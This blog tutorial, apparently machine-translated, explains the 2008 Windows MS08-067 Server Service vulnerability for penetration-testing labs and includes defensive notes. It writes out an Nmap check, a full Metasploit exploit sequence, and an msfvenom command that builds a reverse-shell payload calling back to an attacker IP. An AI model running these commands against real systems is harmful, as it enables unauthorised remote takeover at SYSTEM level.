MS08-067: what is it, RCE Windows and Metasploit exploits

MS08-067: What it is, how it works, and why it's one of the most notorious Windows RCEs. Learn about Server Service, NetAPI, SMB, Metasploit, detection, and mitigations.
- Posted on 2026-09-16
- Reading time: 4 min
MS08-067: What it is, how it works, and how to exploit it with Metasploit #
MS08-067 is a critical Remote Code Execution (RCE) vulnerability in Windows Server Service , patched by Microsoft in 2008. By exploiting a specially crafted RPC request through SMB , an unauthenticated attacker can remotely execute code with SYSTEM privileges on a vulnerable Windows system.
The vulnerability has become one of the best-known examples of Windows exploitation , thanks in part to the presence of a dedicated module in Metasploit . It is also a recurring vulnerability in penetration testing labs like HackTheBox, because it allows for concrete studies of the relationship between SMB, RPC, memory corruption, and Remote Code Execution.
What is MS08-067 and why is it so important? #
MS08-067 is the name of the Microsoft patch (2008) that fixed a bug in the Windows Server Service , a component that runs on every Windows machine and manages, among other things, file and printer sharing via SMB.
The bug is in a function that receives an RPC request (a kind of “remote function call”) called NetPathCanonicalize, reachable via SMB named pipes (\PIPE\browser o \PIPE\srvsvc) — basically communication channels within the same SMB connection used to share files. If you construct a malformed file path in a certain way, that function writes data beyond the expected boundaries into the process's memory (a stack corruption), and from there an attacker can execute arbitrary code.
What makes this bug devastating is that the Server Service runs as SYSTEM , the highest-privileged account in Windows. So there's no need for further escalation: if the exploit is successful, you already have complete control of the machine, without a username or password . It affected Windows 2000, XP, Server 2003, and some early builds of Vista/Server 2008—a machine pool so large in 2008 that the Conficker worm used it to infect millions of computers worldwide.
First of all: confirm that it is indeed vulnerable #
Before launching any exploit, it is always a good idea to verify that the machine is actually exposed, with a dedicated Nmap script:
nmap -p 445 --script smb-vuln-ms08-067 TARGETThis script doesn't just read the service banner: it actively tests the vulnerable code path, so the result VULNERABLE It's quite reliable. This step shouldn't be skipped: running the exploit blindly on a non-compatible machine can crash the Server Service—and with it a dozen other Windows services running in the same process—making the machine unstable for subsequent attempts. The same "check before you fire" principle also applies when listing other exposed services, as we discuss in the guide. Docker port 2375.
Exploitation with Metasploit #
The reference form is exploit/windows/smb/ms08_067_netapi:
msfconsole
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS TARGET
msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST TUA_IP
msf6 exploit(windows/smb/ms08_067_netapi) > exploitKey points of the module:
SMBPIPE: option that indicates which named pipe to use (BROWSERoSRVSVC) — if a target doesn't respond with one, try the other- Il target selection This is critical: the module must know the exact build/service pack to calculate the correct return addresses; an incorrect selection is the most common cause of shellless crashes.
- Upon success you get a session Meterpreter as SYSTEM directly, without the need for further escalation
What's going on under the hood (in brief) #
The exploit constructs an RPC request with a path that, once processed by the vulnerable canonicalization routine, overwrites the return address on the stack. The payload must match a set of bad character (bytes that would break the path string, e.g. \x00 \x0a \x0d \x5c \x5f \x2f \x2e \x40) generated with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=TUA_IP -e x86/jmp_call_additive \
-b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f pythonOn systems with DEP active, the exploit includes an ad-hoc bypass: it returns to a function inside acgenral.dll which disables DEP for the process before executing the shellcode. This is one of the best examples of how a rudimentary ROP/return-into-lib can circumvent a mitigation without a real modern ROP chain.
Why you still find it today (HTB, VulnLab, lab) #
- It is the “Easy” machine by definition for those who learn SMB/RPC exploitation and Metasploit from scratch
- Check is reliable: understand se It will work before you launch it is part of the lesson (unlike many modern CVEs, where the check is often passive/imprecise)
- Teaches reusable concepts: path canonicalization, RPC over SMB, bad character, target-specific return address — all themes that come up in other Windows vulnerability classes.
Detection & Blue Team #
- A network IDS/IPS with anomalous RPC signature over SMB (port 445) intercepts exploit traffic
- The patch (MS08-067, October 2008) has been available for over 15 years: the presence of the vulnerability in production today is a symptom of a total lack of patch management, not a "zero-day" risk.
- Disabling SMBv1 where it is not needed reduces the overall attack surface, even against other similar vulnerabilities (e.g. EternalBlue).
- Network Segmentation: Server Service and RPC should not be reachable from untrusted subnets
FAQ #
Does MS08-067 require credentials? No, it's pre-authentication: just reach port 445 and the vulnerable Server Service.
Does it work on modern Windows (10/11, Server 2019+)? No, it works on Windows 2000/XP/Server 2003 and some early builds of Vista/Server 2008, all patched since 2008. You'll only find it on purposefully outdated VMs or in training labs.
Why does the target sometimes crash instead of giving me a shell? It's almost always due to an incorrect target/return address in the Metasploit module compared to the exact OS build — always check the version and service pack before running the exploit.
Again, once you have the SYSTEM shell, what really matters is what you do with it: our post-exploitation guide covers the next steps, and placing this exploit within the bigger picture of an attack helps you think better—we talk about this in the Cyber Kill Chain article.
killchainFor more information #
- Rapid7 — MS08-067 Module Database — official reference for the Metasploit module, with all available options
- cjjduck — ms08_067 walkthrough — an analysis by those who reconstructed the exploit from scratch, useful for understanding the "why" as well as the "how"
This article is for educational purposes only. Techniques tested on authorized environments such as HackTheBox, VulnLab, and personal labs.








